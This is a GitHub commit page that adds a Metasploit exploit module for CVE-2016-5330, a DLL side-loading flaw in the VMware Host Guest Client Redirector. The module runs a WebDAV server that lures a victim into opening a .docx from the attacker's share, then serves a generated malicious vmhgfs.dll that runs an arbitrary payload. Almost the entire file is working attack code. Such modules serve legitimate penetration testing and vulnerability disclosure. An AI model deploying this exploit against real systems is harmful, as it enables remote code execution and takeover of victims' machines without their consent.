Skip to content

Commit 97d11a7

Browse files
Yorick KosterYorick Koster
authored andcommitted
Exploit module for CVE-2016-5330 VMware Host Guest Client Redirector DLL hijack
1 parent e7aa658 commit 97d11a7

File tree

1 file changed

+349
-0
lines changed

1 file changed

+349
-0
lines changed
Lines changed: 349 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,349 @@
1+
# Based on WebDAV Application DLL Hijacker module
2+
require 'msf/core'
3+
4+
class Metasploit3 < Msf::Exploit::Remote
5+
Rank = NormalRanking
6+
7+
include Msf::Exploit::Remote::HttpServer::HTML
8+
include Msf::Exploit::EXE
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'DLL side loading vulnerability in VMware Host Guest Client Redirector',
13+
'Description' => %q{
14+
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
15+
a component of VMware Tools. This issue can be exploited by luring a victim into
16+
opening a document from the attacker's share. An attacker can exploit this issue to
17+
execute arbitrary code with the privileges of the target user. This can potentially
18+
result in the attacker taking complete control of the affected system. If the WebDAV
19+
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
20+
},
21+
'Author' => 'Yorick Koster',
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
['CVE', '2016-5330'],
26+
['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
27+
['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
28+
],
29+
'DefaultOptions' =>
30+
{
31+
'EXITFUNC' => 'thread',
32+
'PAYLOAD' => 'windows/exec',
33+
'CMD' => 'C:\\Windows\\System32\\calc.exe',
34+
},
35+
'Payload' => { 'Space' => 2048, },
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
[ 'Windows x64', {'Arch' => ARCH_X64,} ],
40+
[ 'Windows x86', {'Arch' => ARCH_X86,} ],
41+
],
42+
'Privileged' => false,
43+
'DisclosureDate' => 'August 5 2016',
44+
'DefaultTarget' => 0))
45+
46+
register_options(
47+
[
48+
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
49+
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
50+
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
51+
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]),
52+
], self.class)
53+
54+
deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL
55+
end
56+
57+
58+
def on_request_uri(cli, request)
59+
60+
case request.method
61+
when 'OPTIONS'
62+
process_options(cli, request)
63+
when 'PROPFIND'
64+
process_propfind(cli, request)
65+
when 'GET'
66+
process_get(cli, request)
67+
else
68+
print_status("#{request.method} => 404 (#{request.uri})")
69+
resp = create_response(404, "Not Found")
70+
resp.body = ""
71+
resp['Content-Type'] = 'text/html'
72+
cli.send_response(resp)
73+
end
74+
end
75+
76+
77+
def process_get(cli, request)
78+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
79+
webdav = "\\\\#{myhost}\\"
80+
81+
if (request.uri =~ /vmhgfs\.dll$/i)
82+
print_status("GET => DLL Payload (#{request.uri})")
83+
return if ((p = regenerate_payload(cli)) == nil)
84+
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
85+
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
86+
return
87+
end
88+
89+
if (request.uri =~ /\.docx$/i)
90+
print_status("GET => DOCX (#{request.uri})")
91+
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
92+
return
93+
end
94+
95+
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
96+
print_status("GET => REDIRECT (#{request.uri})")
97+
resp = create_response(200, "OK")
98+
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
99+
resp['Content-Type'] = 'text/html'
100+
cli.send_response(resp)
101+
return
102+
end
103+
104+
print_status("GET => 404 (#{request.uri})")
105+
resp = create_response(404, "Not Found")
106+
resp.body = ""
107+
cli.send_response(resp)
108+
end
109+
110+
#
111+
# OPTIONS requests sent by the WebDav Mini-Redirector
112+
#
113+
def process_options(cli, request)
114+
print_status("OPTIONS #{request.uri}")
115+
headers = {
116+
'MS-Author-Via' => 'DAV',
117+
'DASL' => '<DAV:sql>',
118+
'DAV' => '1, 2',
119+
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
120+
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
121+
'Cache-Control' => 'private'
122+
}
123+
resp = create_response(207, "Multi-Status")
124+
headers.each_pair {|k,v| resp[k] = v }
125+
resp.body = ""
126+
resp['Content-Type'] = 'text/xml'
127+
cli.send_response(resp)
128+
end
129+
130+
#
131+
# PROPFIND requests sent by the WebDav Mini-Redirector
132+
#
133+
def process_propfind(cli, request)
134+
path = request.uri
135+
print_status("PROPFIND #{path}")
136+
body = ''
137+
138+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
139+
my_uri = "http://#{my_host}/"
140+
141+
if path !~ /\/$/
142+
143+
if blacklisted_path?(path)
144+
print_status "PROPFIND => 404 (#{path})"
145+
resp = create_response(404, "Not Found")
146+
resp.body = ""
147+
cli.send_response(resp)
148+
return
149+
end
150+
151+
if path.index(".")
152+
print_status "PROPFIND => 207 File (#{path})"
153+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
154+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
155+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
156+
<D:href>#{path}</D:href>
157+
<D:propstat>
158+
<D:prop>
159+
<lp1:resourcetype/>
160+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
161+
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
162+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
163+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
164+
<lp2:executable>T</lp2:executable>
165+
<D:supportedlock>
166+
<D:lockentry>
167+
<D:lockscope><D:exclusive/></D:lockscope>
168+
<D:locktype><D:write/></D:locktype>
169+
</D:lockentry>
170+
<D:lockentry>
171+
<D:lockscope><D:shared/></D:lockscope>
172+
<D:locktype><D:write/></D:locktype>
173+
</D:lockentry>
174+
</D:supportedlock>
175+
<D:lockdiscovery/>
176+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
177+
</D:prop>
178+
<D:status>HTTP/1.1 200 OK</D:status>
179+
</D:propstat>
180+
</D:response>
181+
</D:multistatus>
182+
|
183+
# send the response
184+
resp = create_response(207, "Multi-Status")
185+
resp.body = body
186+
resp['Content-Type'] = 'text/xml; charset="utf8"'
187+
cli.send_response(resp)
188+
return
189+
else
190+
print_status "PROPFIND => 301 (#{path})"
191+
resp = create_response(301, "Moved")
192+
resp["Location"] = path + "/"
193+
resp['Content-Type'] = 'text/html'
194+
cli.send_response(resp)
195+
return
196+
end
197+
end
198+
199+
print_status "PROPFIND => 207 Directory (#{path})"
200+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
201+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
202+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
203+
<D:href>#{path}</D:href>
204+
<D:propstat>
205+
<D:prop>
206+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
207+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
208+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
209+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
210+
<D:supportedlock>
211+
<D:lockentry>
212+
<D:lockscope><D:exclusive/></D:lockscope>
213+
<D:locktype><D:write/></D:locktype>
214+
</D:lockentry>
215+
<D:lockentry>
216+
<D:lockscope><D:shared/></D:lockscope>
217+
<D:locktype><D:write/></D:locktype>
218+
</D:lockentry>
219+
</D:supportedlock>
220+
<D:lockdiscovery/>
221+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
222+
</D:prop>
223+
<D:status>HTTP/1.1 200 OK</D:status>
224+
</D:propstat>
225+
</D:response>
226+
|
227+
228+
if request["Depth"].to_i > 0
229+
trail = path.split("/")
230+
trail.shift
231+
case trail.length
232+
when 0
233+
body << generate_shares(path)
234+
when 1
235+
body << generate_files(path)
236+
end
237+
else
238+
print_status "PROPFIND => 207 Top-Level Directory"
239+
end
240+
241+
body << "</D:multistatus>"
242+
243+
body.gsub!(/\t/, '')
244+
245+
# send the response
246+
resp = create_response(207, "Multi-Status")
247+
resp.body = body
248+
resp['Content-Type'] = 'text/xml; charset="utf8"'
249+
cli.send_response(resp)
250+
end
251+
252+
def generate_shares(path)
253+
share_name = datastore['SHARENAME']
254+
%Q|
255+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
256+
<D:href>#{path}#{share_name}/</D:href>
257+
<D:propstat>
258+
<D:prop>
259+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
260+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
261+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
262+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
263+
<D:supportedlock>
264+
<D:lockentry>
265+
<D:lockscope><D:exclusive/></D:lockscope>
266+
<D:locktype><D:write/></D:locktype>
267+
</D:lockentry>
268+
<D:lockentry>
269+
<D:lockscope><D:shared/></D:lockscope>
270+
<D:locktype><D:write/></D:locktype>
271+
</D:lockentry>
272+
</D:supportedlock>
273+
<D:lockdiscovery/>
274+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
275+
</D:prop>
276+
<D:status>HTTP/1.1 200 OK</D:status>
277+
</D:propstat>
278+
</D:response>
279+
|
280+
end
281+
282+
def generate_files(path)
283+
trail = path.split("/")
284+
return "" if trail.length < 2
285+
286+
%Q|
287+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
288+
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
289+
<D:propstat>
290+
<D:prop>
291+
<lp1:resourcetype/>
292+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
293+
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
294+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
295+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
296+
<lp2:executable>T</lp2:executable>
297+
<D:supportedlock>
298+
<D:lockentry>
299+
<D:lockscope><D:exclusive/></D:lockscope>
300+
<D:locktype><D:write/></D:locktype>
301+
</D:lockentry>
302+
<D:lockentry>
303+
<D:lockscope><D:shared/></D:lockscope>
304+
<D:locktype><D:write/></D:locktype>
305+
</D:lockentry>
306+
</D:supportedlock>
307+
<D:lockdiscovery/>
308+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
309+
</D:prop>
310+
<D:status>HTTP/1.1 200 OK</D:status>
311+
</D:propstat>
312+
</D:response>
313+
|
314+
end
315+
316+
def gen_timestamp(ttype=nil)
317+
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
318+
end
319+
320+
def gen_datestamp(ttype=nil)
321+
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
322+
end
323+
324+
# This method rejects requests that are known to break exploitation
325+
def blacklisted_path?(uri)
326+
return true if uri =~ /\.exe/i
327+
return true if uri =~ /\.(config|manifest)/i
328+
return true if uri =~ /desktop\.ini/i
329+
return true if uri =~ /lib.*\.dll/i
330+
return true if uri =~ /\.tmp$/i
331+
return true if uri =~ /(pcap|packet)\.dll/i
332+
false
333+
end
334+
335+
def exploit
336+
337+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
338+
339+
@exploit_unc = "\\\\#{myhost}\\"
340+
341+
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
342+
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
343+
end
344+
345+
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
346+
347+
super
348+
end
349+
end

0 commit comments

Comments
 (0)